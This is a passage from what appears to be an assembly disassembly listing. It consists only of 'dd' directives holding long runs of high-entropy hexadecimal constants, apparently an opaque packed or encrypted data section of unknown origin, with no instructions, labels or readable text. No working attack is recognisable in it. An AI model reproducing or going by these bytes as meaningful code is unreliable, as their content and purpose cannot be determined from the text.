0A88BB00Eh, 276E92Fh, 43B7B818h, 0A4E02262h dd 9283A209h, 0B114C4FBh, 18A2D11Ch, 0B53F07C9h, 4C5FFBAAh dd 4018F948h, 2A60813Dh, 0A23F20FCh, 0B2804453h, 86AC3015h dd 536DE000h, 1F964668h, 8B4006D0h, 68A00131h, 0EB3FCD0Ah dd 9989F4AAh, 4E0480A6h, 16418C40h, 0D179294Bh, 9B53D58h dd 9E88780Ah, 5FDF3AC1h, 8E99DCh, 0DCFF270Fh, 87D8D034h dd 0B723712h, 21AD2490h, 26A44039h, 0B0C40EBh, 1F7DD41h dd 3C6CF1AAh, 71373805h, 50DC0033h, 3572D2BEh, 0FC44E702h dd 595AD98Ah, 18A471B8h, 0C18F00DAh, 78F171E0h, 980C419Ch dd 49343689h, 0EEC778AAh, 1211DD26h, 21848830h, 987FC120h dd 0ED0F1290h, 0B52C202Ch, 6C92C00Ch, 4120CD30h, 75C445Fh dd 0F8734C9Bh, 5E9730C6h, 1E039C89h, 85D2A85h, 0F4615891h dd 8C9BE8h, 7446EF70h, 0D781A407h, 6B0E6FE8h, 0C1830Bh dd 61F08B60h, 0FD90E3Bh, 218C586h, 0F8F38C66h, 0C12DF6FEh dd 2E11DD04h, 161D489h, 0C9ECFF81h, 93DEBD20h, 70194674h dd 3559330Bh, 0BEA580C5h, 1D8BEF52h, 0F5BF5FAh, 5ED86DB5h dd 5EBFC32Bh, 1C00D60Bh, 0B9BF667Ch, 61B5094Dh, 343DBDE9h dd 0FA28B208h, 0CDD52B26h, 0E92A6141h, 0BF138027h, 4748E357h dd 0FFC05E8Bh, 0DF015F6Bh, 57BD7484h, 0D892DF8Bh, 717359DFh dd 3FE1816h, 85C77840h, 0F6010561h, 57047931h, 80E6820Fh dd 68550359h, 0F0028258h, 0C1081C71h, 3A118108h, 0F99BD0Ch dd 754D00Ch, 2F44859Dh, 21ADEDFFh, 91F897F5h, 0E3F4801Bh dd 1D897A56h, 0B6DDA19h, 6A77119Dh, 852F0F87h, 0C02298Dh dd 307595h, 15EDB501h, 0FF890F80h, 95095F87h, 90180C11h dd 0D6F67EBDh, 70CBFC00h, 9F232810h, 0FF0E5B60h, 27008C6Bh dd 336D9105h, 908B414h, 282D798Dh, 1BC817Fh, 0EBA0E9E9h dd 27C135C0h, 3FE6EB0Ch, 0EC5B05B0h, 12E53803h, 29FB8B66h dd 0D1D1F906h, 4BB1816h, 0B70FBD26h, 851EC0F7h, 9EC11A35h dd 20B1B523h, 1510B7BEh, 89610211h, 8230FDBDh, 82181968h dd 0F5331506h, 15D13AD1h, 460C1718h, 53C5BD29h, 20C60081h dd 0F4B52E3h, 73A5F3BFh, 8B601CC4h, 5F000B1Fh, 0A9CF9D63h dd 38DAE9C8h, 60ADFFF8h, 0FA52A7DDh, 0A0C78DE3h, 7385315Fh dd 5E88CC09h, 0EB01F4h, 1CC18B61h, 2D14810Fh, 5B618DFh dd 12620046h, 697C6595h, 130E2C76h, 66725559h, 0A02904EBh dd 8A0388B5h, 22F8E107h, 0DADFA9BDh, 2CB52982h, 355108ACh dd 2B039012h, 1E50C7E6h, 0A930530Ah, 181AD18Bh, 0C55500AAh dd 3D0CAD91h, 0DE098166h, 460A2DCh, 0F05D02B6h, 1C2D85F0h dd 9D6EFFDAh, 801A11BAh, 4B6E2D3Dh, 0CCB3E685h, 0C2CA81C2h dd 0D61C5F75h, 3D5A9396h, 0E4B44D5Eh, 0A33C137h, 1DB87A2Dh dd 0F2281E94h, 17CF03AAh, 10E90626h, 0C0021D49h, 7F4DF9BDh dd 0E9500066h, 0CF81C19Ch, 0A201B19Ah, 5C08321h, 0C447F28Bh dd 0A3C4F746h, 0A6BFC5BFh, 0DDB2B05Bh, 26737FA1h, 990E675h dd 0B9921409h, 0F8F69001h, 0F3F5DEFAh, 9C3770D5h, 0F8DD70Ah dd 0F0C4888Ch, 3555B5C1h, 0BD12F97Ah, 4A3EC7Eh, 9C7326D9h dd 9FA84980h, 0F9D1F8Dh, 0A45FA4A9h, 0D4D364EEh, 0B12EC136h dd 0D6B97B08h, 8A0073BCh, 5C3D758Eh, 0B82EC1B2h, 1CA52006h dd 71E9FC16h, 0D8FB6A56h, 292D9BEh, 0D6E15EBFh, 0FFEA5100h dd 66C989CAh, 0E0BE5B4Ah, 0A8B12FE0h, 14486E1h, 3D228304h dd 9D8B01B4h, 0CAF2965h, 822635D7h, 39752260h, 23C51F7h dd 7C59D09h, 0C3E39E69h, 0DF247B50h, 0B2A8D0Bh, 96F204DBh dd 0C9B58941h, 0BD830031h, 8E16511Bh, 5084BA8Bh, 40124FDDh dd 0D4E07CE6h, 2FAD64C4h, 0FA88E905h, 92B0A1F7h, 790334F9h dd 0DF359B45h, 88C4C53Bh, 40F35D1Ah, 2F8B505Ch, 205F58CAh dd 0F356EAB0h, 0EFA30002h, 0C58163E3h, 0B00EF705h, 3E59BF37h dd 0E96125C3h, 0B330635h, 0BC028DBDh, 6FE13384h, 1DEC56F8h dd 7CFB008Ch, 6553B127h, 0D778852Ah, 0D4098D48h, 10CA419Ah dd 0FEFF23E4h, 9853CEE5h, 98BC6C70h, 83D807EEh, 35662C8Ch dd 6A6FBDBh, 7845E0B7h, 2CEDF63Fh, 21523423h, 0C0E017A6h dd 98171DEDh, 0D8BEDE72h, 857EBD50h, 0D7B24082h, 684F9661h dd 0A0211F92h, 0BF02C390h, 4895573h, 0ECAEC324h, 0A98D4C5Eh dd 0CB24E935h, 467C6903h, 0BC0D031Dh, 0EB169AD9h, 61F7B083h dd 15BD2F31h, 7D94B05Fh, 0F6C60050h, 29887941h, 17ECECB2h dd 8492221Eh, 46CE7585h, 1C4DF983h, 26B05FE5h, 0C800DEC4h dd 488483CCh, 24B0DB52h, 74B070E6h, 0CB001946h, 88D31FE3h dd 952E8973h, 0E48BF451h, 8033B771h, 3A52E133h, 0DE018DF6h dd 922B2ABEh, 0F648E90Eh, 0F9FF006Fh, 0C5F8A91Fh, 3105D1C6h dd 0D8B60FE4h, 1A8A3FAh, 3AFF5F7h, 0B47BA6Ah, 0B5A96099h dd 14BE9A0Dh, 0AE04E8C1h, 0A1A2910h, 60E2F766h, 2E9101D6h dd 0EFCDFE2Fh, 2BFB64EDh dd 0F00AD860h, 1986BE93h, 5C128D9Dh, 9FC91005h, 0F31800F6h dd 0BE585160h, 0BA014281h, 935E6173h, 812CF18Bh, 0CCBC48D5h dd 183FCE00h, 50710DF2h, 78F6484Ah, 0DD052512h, 4EF96FA6h dd 8E0367ACh, 20B21508h, 20B8FB0h, 42C596F2h, 0F724C132h dd 0BD7A0E21h, 0E66DAC6Bh, 0AD5A1CAEh, 689CC0C7h, 0F613CE6h dd 1F68314h, 4BB680FBh, 488B0C3Ah, 858F0CFBh, 804E7911h dd 32D0D31h, 0F123505h, 51500D65h, 79269C17h, 2691724h dd 4A7E7620h, 0B5FBDF15h, 90A91A58h, 44E2A70Dh, 8B1E6014h dd 254790F8h, 0A38D458Dh, 7066204Eh, 8FB286ABh, 258A7BA4h dd 19FD7F04h, 1707B906h, 5E10E950h, 0EED12D01h, 0C183B435h dd 14B2BF63h, 2C694A31h, 0EB922735h, 4DE0CBB6h, 0F54D2603h dd 0E185C2D4h, 57E00909h, 0D134B52Bh, 5BF2120Eh, 0BD70CD38h dd 0DC8EFCh, 48C6EAAEh, 31DCE0F4h, 0BA272B9Ch, 6D71F57Bh dd 9F63F8h, 0A6BA9A0h, 0E0335E7h, 38BF5103h, 895F74D6h dd 0AD7B5BF5h, 0D1ACEFh, 61E2065Ah, 2B8DCFA1h, 95E96FF5h dd 3F9B1705h, 89A7040Fh, 4CF84B01h, 8B324487h, 3FBBFA5Eh dd 1623D0h, 604EAC02h, 99598D8Bh, 8166017Dh, 61DC63F2h dd 0F97BC0F1h, 544000B0h, 13DAFF7Ah, 9FBA00AFh, 30DDBBB1h dd 0D39828ABh, 5A31F120h, 0FD8E5E5Fh, 1918B75Ch, 65FD1A04h dd 0BE5C1426h, 5A375E36h, 16636C1Ah, 0F8609485h, 0E8AEC630h dd 61487F5Ah, 1B55163Ch, 0EC294A9Ch, 0A4074CF5h, 23792EE5h dd 33CF0015h, 31F9B70Fh, 2895B519h, 7371904Ch, 33020AC9h dd 6901E341h, 27D107Dh, 0DBD0B09h, 0BC6D4F29h, 0E7FABFC0h dd 58B67565h, 0BD785D8Eh, 0D6C5DCh, 692D6632h, 7F057DC5h dd 597BEE26h, 0E2B115h, 0B9A3B060h, 5EC54F20h, 3140FA24h dd 82FDFEDFh, 7D10120Bh, 23B43A61h, 1F023F19h, 0ADDE630Ah dd 71D2FFh, 3B352F2Bh, 5D7E9DE0h, 0C4C20B0h, 0A545CA8Eh dd 51BD2B82h, 44DD0B19h, 1528A0BCh, 0E2668235h, 0AF0CB704h dd 0D0F15E3Dh, 2F4C71D3h, 37FD2229h, 125C027Eh, 19D13EDFh dd 406DF60Fh, 5ADC73E6h, 0A0C71DA3h, 9B565D01h, 88F9AE3h dd 4297E90Bh, 2E9845Ah, 0C192F223h, 47EE6A40h, 3317365Ah dd 0C852CEEEh, 0BE54C014h, 32003D36h, 0E9D68151h, 911E119Ch dd 1817D11Ah, 0DF210073h, 0AE67BE77h, 0D6BD1ECEh, 0E080BA5Ah dd 0F2EAD2BBh, 4F719137h, 27839D01h, 620C9C1Eh, 9BD68568h dd 0F5BE8772h, 9D6C602Eh, 0F7900339h, 8107DA3Ch, 923E72DEh dd 625B6A63h, 9A2E178h, 0C7EF673Bh, 19691102h, 0EB8E0F10h dd 15852910h, 0F042315Ah, 0F02620B3h, 17CE2F14h, 0EE15A077h dd 0AF936Ch, 54B2A13Ah, 5F2538ACh, 472840B4h, 6190FE24h dd 53000411h, 505F5E57h, 0B502B860h, 617C2446h, 6BF3F590h dd 12F60258h, 19D1F8A5h, 0C289CB7Dh, 3597032Bh, 2D0DE6A7h dd 271AB349h, 270671FDh, 19BD06B0h, 0CA650B42h, 5406A3F9h dd 3F60D463h, 0E909A958h, 71E49EEBh, 0FA051BDh, 0B237382h dd 360E55B5h, 43864F0Dh, 59D298Bh, 0ADC8F484h, 0CC7A075Eh dd 0C2A0B200h, 94C4677h, 26B98513h, 0CA29C4DDh, 3A046CB8h dd 7F52E440h, 32DDB6C1h, 0FF507B39h, 91EB9E5Fh, 5E510171h dd 1F4EBD83h, 1088E73Ch, 38B1BE80h, 4CE945A3h, 0DC49368h dd 674F501h, 3DE1B91Dh, 0C471B917h, 0D7343960h, 0D89BBF16h dd 8478E482h, 1B563CF8h, 28A7052h, 43019E8h, 9589308Dh dd 0A73DE14Dh, 0F68484D3h, 3111E16Eh, 9C456BFDh, 0EA23F8E5h dd 0ED55EA25h, 9E112700h, 0FDC11433h, 742B26DDh, 0D871CCC1h dd 81CE56DCh, 89A9216Ch, 0D853259Dh, 40528A50h, 1D4A5898h dd 675A310Fh, 0D9A8588h, 0CB4F0809h, 0C1FCDED5h, 0BE0607F6h dd 48D39CCCh, 0D60BD641h, 6D829FC9h, 88D3B0F8h, 847F78h dd 233A2194h, 98CF0631h, 140490A1h, 0BD329180h, 0DB704AE6h dd 0E807809Ch, 52E4F87Ah, 1BE27F71h, 2550A30h, 4BA1C5A5h dd 2B403256h, 58821629h, 1654BF4Ah, 13AC71D6h, 4AFAED0h dd 182C795Eh, 9C26095Eh, 0CDFDCB64h, 29E46033h, 7400C436h dd 0BE453E7Dh, 0B8D3D5CCh, 0E81FE68h, 54F31FE6h, 0B6868473h dd 413EE07Fh, 25B59EF5h, 6700A237h, 80E7EF87h, 1AD60172h dd 0C7817A6Eh, 10A6FC22h, 0F8D82B12h, 28C17D04h, 0A5BE9300h dd 1F5848FAh, 80375C7Dh, 92B60ECBh, 0FC6305F0h, 57299361h dd 0E6F474A9h, 0E0EFE55Dh, 2F3C10CDh, 7A2393C0h, 30E1CE04h dd 0BF0219B7h, 3F2D1F6Dh, 8338A07Ah, 4570A4E6h, 0F08E00DEh dd 0A8B6B44Fh, 0CDB05B6Bh, 0FF607C82h, 1E00E9E2h, 0CFBE610Ch dd 906D8792h, 0F6D4BD7Ch, 9BEB6280h, 3A56A3h, 1A9EDFB2h dd 0AB8FBE26h, 0F091C09Eh, 0F1127148h, 0C3743408h, 17FCADE3h dd 0C76FD0EFh, 4F003B0Ah, 0E1ED7CC9h, 1FAEF44h, 0AAD5D6B7h dd 88454264h, 91EBD4Ch, 60E6BA5Fh, 0A81F6927h, 4674CAD0h dd 0B30C0417h, 38C4CFBh, 0BF201D87h, 1EE60048h, 9CD7C4BEh dd 4E746449h, 92045E6Eh, 940AE239h, 0CE8CDB75h, 297484AAh dd 0EB1F381h, 91FF0905h, 23E74A29h, 0E7671964h, 0EA720D6h dd 0E593581Ah, 5A8C5178h, 0EC3E4EF5h, 0F6B71611h, 0EE812F88h dd 6E9B04FEh, 0A6C18350h, 51D35076h, 1A3D1641h, 9FF7C729h dd 0F59227C1h, 59C1ECEDh, 6A8B9D0Ah, 134C3345h, 8270715Ah dd 1A8BACEh, 31B9F4DFh, 6210D195h, 9D0B9FB8h, 0FD9E6255h dd 7470565Bh, 0F2F33946h, 0D5B1D181h, 40601FABh, 0CF80C99Fh dd 2B619600h, 445DBEC3h, 62794F85h, 0F82514D5h, 7D2B5FBh dd 0F6BF3020h, 0BD4F3361h, 0C08B0F44h, 0AC1BFDAAh, 8461278Fh dd 7262BAA9h, 43FAACC2h, 562E5571h, 4C0D2D3Bh, 8E766AC2h dd 0BAE7F9E0h, 0F6746719h, 0DB3CFA68h, 14512CF2h, 871818F1h dd 0E00A8A01h, 95BD2992h, 13C5235h, 5AFD29D2h, 5388C0B1h dd 2D85EB2h, 6444BF95h, 11D37337h, 40244DA7h, 163C554Bh dd 0A4ECC62Ch, 0ADF78102h, 8D97418Ch, 902E2938h, 7915DE7Fh dd 0BCAAEBBFh, 1BC809EAh, 25CD8578h, 493810C0h, 0F5922CF6h dd 13A50D1Dh, 0E01576CCh, 0EA98FD8Ch, 0BB91048Bh, 829E6B7Dh dd 0EF8F129h, 10F7B732h, 70A9FBFEh, 0AD709D49h, 710BA900h dd 16950E6h, 825970B5h, 9C0A935Eh, 465C6091h, 606A0417h dd 0AA876C63h, 1BD3Bh, 49231298h, 0B205ED3Fh, 0E59D0968h dd 0DABF5101h, 232EF576h, 0E0FF087Ch, 0ED6C3048h, 0D9D09Dh dd 83DA0F1Eh, 94B9DD3Ah, 4BE90416h, 4B2E3084h, 803E1C23h dd 755FC10h, 0E71E9BFh, 953360F4h, 8285333h, 66820427h dd 765F90B9h, 8E224A6h, 9B272A19h, 4585E05Fh, 0BF3FC930h dd 0A7F21FA5h, 656A5E0Ah, 0BD893905h, 901C92E5h, 990EA776h dd 2DDBD70Eh, 0AA16D880h, 0FD1BDF27h, 1646DC79h, 882FD5D8h dd 0F061B707h, 2629CDBEh, 1CB24233h, 833630h, 7CE64F6h dd 816C9D6Eh, 4631E705h, 13A0481Dh, 2573B4F8h, 17EC048Bh dd 3BC1BD2Eh, 656F80B5h, 3228C905h, 35A405A7h, 0F8270921h dd 41AC2CDBh, 0A9C12DD6h, 0CF811C18h, 0C5594F08h, 0FA291F5Dh dd 604F8ACDh, 0D839BE1Fh, 0DA8FE93Ch, 0AAD71A2Ch, 0DCD774BCh dd 7C14DB00h, 813EA10Eh, 7931B4F5h, 219E1571h, 6E639A80h dd 0CB7E07E1h, 2313D609h, 3B5057BDh, 8FBC6AB1h, 601C35C6h dd 8B5F5099h, 14A12D9Dh, 0F140D94Fh, 9D0F38Ch, 0EAFDD6EFh dd 741B378h, 8DCA042Eh dd 0F2810020h, 2D428CB9h, 731A615Eh, 59FC7BFDh, 0F5D301Dh dd 67488B5Ah, 0F7A489h, 0BD835FF9h, 69B428ADh, 8D235D46h dd 63E06E76h, 4F7B62B9h, 0EE4A0926h, 3E76C606h, 9AB39EF6h dd 0D3FF5EE9h, 0CF357817h, 0F698D109h, 61BD0253h, 842B0B1Ah dd 3CD4B80Dh, 0B84D2B6h, 882B01F4h, 0D5B9D29h, 9C1B9E10h dd 792B5C22h, 0F3223413h, 0C2F00E6Fh, 32F22027h, 795FC0D9h dd 1A25020Eh, 8DC578DBh, 0A1CF1946h, 5F2DF081h, 0B256961Ah dd 0F324466Ah, 0DB8CC731h, 4109C820h, 886F3C15h, 90CB77Bh dd 575355h, 4E4FAA0Eh, 0E7028DC9h, 0D024888Eh, 0AFC85136h dd 80B1B5FDh, 4E315B18h, 0F462A49Bh, 119859Ch, 800AE990h dd 0E575A62Dh, 21F64CDh, 63270E6Ah, 0C96D9050h, 7B308DE0h dd 63820565h, 0A2E5C9D6h, 12B038B7h, 1DB670E6h, 0E4C19DE0h dd 4B2C714Ch, 0FDF85C8h, 1E057819h, 0DBD8B684h, 0F762CB35h dd 0CE28EBC6h, 652D984Ah, 0F3D3211h, 0DA005189h, 0EA4C2B42h dd 58000F6Ch, 0C8CD013Dh, 0B9FCD4h, 0A6BE5255h, 5F218FE3h dd 0AB2133B4h, 0A8181DD1h, 0EA6D9E00h, 0B43E8A83h, 0FAC75F57h dd 3187B941h, 0ECD09EC2h, 26BA1CC4h, 7E58C4DEh, 6D6581D2h dd 815E002Ch, 84B09CEh, 0FEC326CFh, 0EC591201h, 8D0F053Eh dd 0F7846D7Ch, 0D6F59BE2h, 664830B3h, 2B88AA04h, 0ED27C1D8h dd 0E0500333h, 9E37E4Ch, 241C8954h, 677084FBh, 0F7881DE7h dd 732CC23Dh, 6E5B1622h, 40146DA5h, 0FB749A87h, 50935F13h dd 481E88Ch, 989CCCF7h, 0AC87B959h, 413E8C1Ch, 6A9B071Dh dd 0A624B552h, 7B16FC1h, 0E984B003h, 957DB8A2h, 1420E584h dd 911062BAh, 6B627C07h, 2140C1CDh, 2D856DBBh, 2F10E1D0h dd 0EB0FAED4h, 0D6D34A47h, 20B9C91h, 0B1010405h, 1258EDDBh dd 0A812F9B7h, 7CB3CCA7h, 0D603497Fh, 4D83F3CFh, 0ABF6E58Bh dd 0E6BEBFE0h, 0A45B5B0h, 0FC2B202Fh, 0BD2748D5h, 0FBA7C9C3h dd 3F638E25h, 0F3BEC201h, 42F99A6Ah, 0B35C99B4h, 2A9BD892h dd 54C25781h, 229E47FCh, 949D5872h, 52851511h, 77B274h dd 0CE8B117Dh, 17790BCh, 44BFCC84h, 69CFD53Dh, 1301073h dd 26D54451h, 0A8A5643Bh, 74B47154h, 0C90B832Ch, 5D6E4605h dd 0D2F8F910h, 0F975E200h, 83FA23D5h, 0F49171Ah, 2180CC8Ch dd 0C2D8764Ah, 0DBD95B8Ch, 0AAC29E93h, 0D1C0F468h, 76891499h dd 0ED270596h, 4991A714h, 28132066h, 59478A0Fh, 0FABC6F5Bh dd 73888B4Ah, 6569018Dh, 52FFC2D8h, 0A1B542B8h, 2B0906F6h dd 0C34CCDC3h, 0B3C8F4D4h, 9016230Bh, 0B998D314h, 47DE8A0Ch dd 0E90DFE1Eh, 2D381528h, 994DC025h, 25CE92C0h, 0BA8D5F89h dd 0FFB79417h, 5E2DECE4h, 5129A3C2h, 82702405h, 10A77FFBh dd 0E04F43D6h, 80A1F895h, 0BA5D0B6Ch, 8200F4A5h, 917E8919h dd 461F3013h, 0B60779A2h, 0D802493Ch, 3A5EFA0Eh, 1BF504FEh dd 80A4FDAAh, 0BE4E6ADFh, 88B80067h, 0A19FAA3Eh, 5970E41Dh dd 0ED55F2C1h, 0D1C65F51h, 0FE4EE5F8h, 0F8A015B7h, 8B0E19C8h dd 82DC7256h, 0D185FFF3h, 1816F9F0h, 90893FA3h, 49ECEF1Fh dd 17515D9Bh, 587F0154h, 0D5D099CDh, 3CB0D7C4h, 0AC14DBBEh dd 12E87B92h, 1CA72C4Dh, 8BF7984Fh, 2911208Ch, 26099058h dd 180911FAh, 11089DD3h, 0DBF7801Ch, 9EED7A7h, 0ABCD6263h dd 0A159098Bh, 9D278AA4h, 801591DBh, 0C1BF6BF5h, 224D2E8Fh dd 0A212162Ch, 95898363h, 0C4694825h, 0A81AFD12h, 2815885Ah dd 0D808451Ah, 0D4910280h, 2949609Ch, 0B4509085h, 0E1810094h dd 260E3147h, 0B5188961h, 0BF4B1D01h, 5E97F5FBh, 9B47C43Dh dd 0C0DBC130h, 5F33E341h, 2AD5462h, 0A6086005h, 20FDAF1Ah dd 0CD40199Ah, 0B0650191h, 0C02E28B5h, 0DCEDD11Ah, 5BE26743h dd 5877860Ah, 854097E9h, 0BC6330h, 3671F57h, 0D65B1740h dd 4ED89102h, 4052213Ch, 0EFF3A05h, 0F77DE961h, 0BD0384BDh dd 26A6FCF1h, 341A1901h, 11DC619Dh, 58B9B452h, 3FE5F6h dd 21D58490h, 0BDE1558Dh, 58EB832Fh, 0B2B4676h, 321B53Ch dd 0E3F08C68h, 0E5616538h, 0D9419D36h, 0C9858952h, 535A8750h dd 35BD1309h, 0A9FAF52Ch, 18F1AF63h, 3902AA18h, 33E47D0Ah dd 8427D495h, 8501E183h, 8CA1FF18h, 2DB9B669h, 58AC0224h dd 0E65229F0h, 68652F2Dh, 29AF1CD7h, 0BB838B5Bh, 10A9853Bh dd 0FC1C904Dh, 1C288C14h, 9514C361h, 0A7E12671h, 0C40FD9C5h dd 31F79635h, 0BB6279A0h, 98775401h, 0E3C667ECh, 0EC5CB61h dd 81E5EC04h, 76B3B9F2h, 0E81F6E8h, 0FC7C02E2h, 0AE0CA8A0h dd 8ED28473h, 0B64A5BADh, 8A66E0CBh, 0AC8FCC6h, 1874EF84h dd 0AAE234B2h, 0ACBCD6A9h, 0EA5DDC09h, 91C48293h, 26D2B911h dd 0C018C80Fh, 41B8A62Eh, 244D2B4Ch, 854807D1h, 41284FADh dd 52F88D86h, 14C62753h, 0FC602144h, 0BD397895h, 124F4EB0h dd 5CB78000h, 110717CCh, 9AD83ECDh, 93273E00h, 5BC024B8h dd 0FAA0E590h, 0FC1277D0h, 303565EDh, 9F56804h, 905AEC10h dd 0AB33BBD5h, 165C4731h, 7A3E2965h, 571B00A9h, 4A4F6674h dd 69851023h, 0F8515E33h, 0BB15793Bh, 5B888294h, 0B4640ECFh dd 764AB81Dh, 5D404FAAh, 0E42A7E26h, 5452102h, 13EA6D20h dd 0E261C220h, 5A330764h, 10A7B0Eh, 32E98C7Dh, 3D00408Bh dd 0D5A6EB02h, 121F76h, 8AB7DE6Dh, 0E42D44FFh, 42AD9A00h dd 434B8464h, 0A4ED0004h, 111E69D6h, 0B524DC67h, 2C004C8Ch dd 0B0D85425h, 411C000Eh, 7771B165h, 0E9003A05h, 6FDCAFECh dd 860831h, 1B61AEB9h, 0B196F320h, 3B00FB7Fh, 6B42473Ah dd 7D800C35h, 307175C7h, 0AD1D4890h, 9700D20Eh, 272069E4h dd 0E874B7F6h, 0C2811D0Ah, 90B88C91h, 3600852Dh, 64A996F9h dd 0C721D0h, 1C5C9563h, 0A0CB7418h, 0E9EE5700h, 3E0DA147h dd 668307D1h, 60DE2912h, 224F9CA7h, 8EEB5800h, 0A6CC7835h dd 7CD803B6h, 0A1E80520h, 573875C0h, 0AA99E603h, 0A0FB3A79h dd 7E539598h, 6C8C07DFh, 4087C0C8h, 0BDEE5923h, 58DCEF18h dd 8B76A0h, 79275A6Dh, 64B251F3h, 4898CEA9h, 0D605B9Ah dd 1A5EA3CFh, 0DB7A31F7h, 10015F2Eh, 30477C7h, 8CF11647h dd 3303C810h, 0A56ADF69h, 0FE438883h, 586103BFh, 0AAC71433h dd 420364F0h, 0FD15B500h, 6EB219A2h, 40A9005Fh, 0A3D72428h dd 0DE30EA82h, 78334E98h, 1B7839h, 51EE90ADh, 0C2CAF71Eh dd 96E7903h, 204824h, 0BAE6D52Dh, 380777EAh, 0ACD2DF00h dd 562F4E9Fh, 0C7FC0017h, 4C905210h, 871DF439h, 0C3806BB8h dd 40FF8FA5h, 94F80029h, 3A414EABh, 0F2002BB7h, 0AF1A776Dh dd 615306Ch, 0C9118BF0h, 2C007099h, 93A5913Bh, 1CE6FDAh dd 6728518Fh, 4372BFD8h, 92D8EDEEh, 1C48C54Bh, 5FC81458h dd 8C447EA3h, 206B00A8h, 0AE9DEE23h, 0E2303E7Dh, 0C6EBC352h dd 5D301DB9h, 0E7540034h, 0F750A9E8h, 0A39638h, 0E937D629h dd 1CD24DCh, 600589ABh, 865B7C8Ch, 87D349A0h, 0C66A550Dh dd 2C15F8h, 7BB0E562h, 28E0350Eh, 0C547A11Dh, 31FC0C4Ch dd 0A09B01E1h, 0AC0F3073h, 92C0DED7h, 2906B49Dh, 1B3E23EBh dd 8960F8CAh, 0EE5B4083h, 0C7491389h, 812A3E08h, 0DB64145Dh dd 28F4658Ah, 0C3B600FBh, 30C2B78h, 1D0041E5h, 325CD810h dd 9120FA15h, 35460A2Eh, 5F5E0224h, 3DE008E3h, 56488967h dd 0A7A00588h, 8C003976h, 0DA5787A6h, 0F0880F9Eh, 0ADE6E701h dd 0C409AA6Ch, 23FD0D9Fh dd 9A9D1083h, 6744DEh, 3B087744h, 8CB7C5EAh, 79A6B3Dh dd 2349CF5h, 858FDE10h, 798F0DCh, 0DF2148F7h, 7DBA2024h dd 0E73E340Fh, 0A3798EC4h, 4918A0D0h, 0ADFEBDh, 2843FC80h dd 0D4A495E7h, 50D76B48h, 21146E3Dh, 0CAEC57h, 9B708620h dd 1744118h, 0D7A57FF9h, 0F31C056Ch, 2369F3AFh, 0CAB2FFF8h dd 12C7101h, 0E26F8AD3h, 0FDEAEF8h, 0E524236Bh, 3BF56840h dd 0C0304BD1h, 584EE141h, 18BD90ABh, 0A02AAA69h, 0B9981E9Bh dd 2F6E8D00h, 70CBB1FEh, 0D5285419h, 3B40034Dh, 926722Ah dd 0E0CB9A00h, 0E3317CA1h, 0A8B65BC6h, 74DC40DEh, 1D369339h dd 3F8F6198h, 8BB440E1h, 639FD260h, 3E3A8E5Ch, 5FE00084h dd 1C2752h, 93DA96C0h, 6C72A676h, 5ED734Ch, 25750754h dd 0C7FC09h, 0BBB59AFEh, 2E131274h, 619500E1h, 56F02C17h dd 9138E263h, 17AD550Fh, 0EBCAC93h, 0BD0CDFC6h, 84A1F27Bh dd 0E321706Ah, 8B3D8638h, 0F873FDh, 0F9DFC89h, 90CE507Ch dd 0C91A0991h, 0A420D8A4h, 2E411939h, 506F3800h, 91AE3E40h dd 0DD6A0014h, 0EB2A6D88h, 0ED079F80h, 0DE730152h, 73F322Ch dd 82AFFC4Bh, 6E1A50F8h, 0C1006583h, 4E3B789Dh, 8BA0F5h dd 0D6154601h, 88E04997h, 0CD5F8406h, 4472BDh, 0FA075D50h dd 7E5EA992h, 0D93E8500h, 76D1A7F4h, 5B085825h, 8E588400h dd 4F3F6E8Ch, 0F5269500h, 0D9D1D4B8h, 3DFF78EBh, 833D3A62h dd 3AB379AAh, 278099CAh, 0D6A6CB18h, 0FD0F386Dh, 470E6A97h dd 22E04130h, 85E231h, 554C3517h, 0D513F445h, 307F6E1Fh dd 251C4005h, 88909A80h, 0EFCC0031h, 1B285748h, 5B0084D8h dd 0ACE65FC3h, 2904C45h, 0BE10668h, 0D683C8FFh, 13E89B12h dd 67303560h, 0F7C61753h, 16EEEB4h, 0EA877495h, 3155A117h dd 220BD734h, 0CD139Ah, 1C0B3E3Eh, 88230049h, 0DD66165Bh dd 0FF018DB2h, 0D506454Ah, 76D05796h, 7BA09A9h, 0DA001512h dd 0F9941198h, 1914C200h, 0F73667A6h, 77D404BAh, 0C3A8C029h dd 62E0FDD4h, 303D0B71h, 0C73B83E3h, 0A02063C2h, 1487C4CAh dd 0AC093659h, 33466B00h, 6871DB08h, 0E05F2B00h, 0C52C70B3h dd 0FB8100A3h, 0A0EA2740h, 12786D19h, 59A44114h, 6AB600D6h dd 0EB543869h, 40A74ABAh, 73CB8F2Fh, 3D000677h, 8EB9C3E8h dd 7568105Dh, 196100DFh, 0CAB4F92Ah, 309287Dh, 209FCC7Bh dd 0DDA2CFB1h, 5E3D586Eh, 696FBC0Fh, 0C5E289A5h, 0D9C8A55Dh dd 870640EAh, 5C4B2414h, 5E68B4C0h, 8028221h, 3C270630h dd 0E7EC8383h, 0BDE02CE7h, 7FD2623h, 0F14B801h, 0E8C1DE29h dd 8A8B545Dh, 34C4812Eh, 0C5BB5300h, 0F845803Fh, 0DBD60EBh dd 389FB01h, 56355B67h, 0C681E671h, 19831D43h, 0A834870Ch dd 58089EFFh, 7CE95CF0h, 0FC7B48h, 0F4B8DEB6h, 3062639h dd 0E00FC57Ah, 20E655B4h, 36682CF9h, 937200F6h, 5099C249h dd 10EAFD41h, 0AEBE7F16h, 0A714DD00h, 114FEBh, 5C0281E4h dd 0C641DE90h, 4C360B0Fh, 51A1A0DAh, 568304h, 7812D74Dh dd 76FBA51Dh, 0C7CF241Eh, 87C161C0h, 0A16D0Fh, 0AF68A47Dh dd 0B82169D3h, 52C65E0Bh, 73C0F360h, 0DE4860F8h, 644B6596h dd 0DBBA1F3Fh, 50794058h, 8D219202h, 8B8E2097h, 961DB195h dd 7AD8978h, 7F492DCh, 1A48BC66h, 7BBF3020h, 162ADC87h dd 8100388Bh, 23D18E2h, 27858977h, 4C322D35h, 2743F655h dd 0DBC0FECDh, 2F893DCAh, 4D2D49B5h, 0AA7A3AD7h, 0DB80660Ah dd 0E18D05C1h, 6858371Bh, 71BD2B84h, 4F611FF0h, 9FA6E60h dd 82713D08h, 0F385C716h, 8337AD2Dh, 0F4DB5601h, 0AE604615h dd 8A5B0A37h, 1FFE52F7h, 592D2075h, 0C0FA6D61h, 6FDC562Dh dd 1850908h, 7EB010Ah, 0C2E99D61h, 0F40B5C55h, 0CA5BFB13h dd 0E480AADBh, 75E9C18Bh, 666017C0h, 95A8D88Ch, 44350C04h dd 0E9AA016Ah, 7DBE823Bh, 8532A25h, 